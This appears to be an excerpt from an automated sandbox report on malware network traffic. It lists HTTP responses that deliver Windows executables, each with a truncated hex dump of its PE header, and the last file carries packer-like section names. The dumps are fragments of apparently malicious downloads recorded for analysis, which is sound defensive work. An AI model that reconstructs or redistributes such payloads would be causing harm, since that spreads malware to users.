Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 13:14:52 GMTContent-Type: application/octet-streamContent-Length: 1845248Last-Modified: Mon, 25 Nov 2024 12:50:59 GMTConnection: keep-aliveETag: "674472b3-1c2800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 49 00 00 04 00 00 53 27 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 69 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 69 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6b 78 75 73 73 63 6a 00 10 19 00 00 60 30 00 00 0a 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 73 6f 62 68 65 6b 64 00 10 00 00 00 70 49 00 00 06 00 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 49 00 00 22 00 00 00 06 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
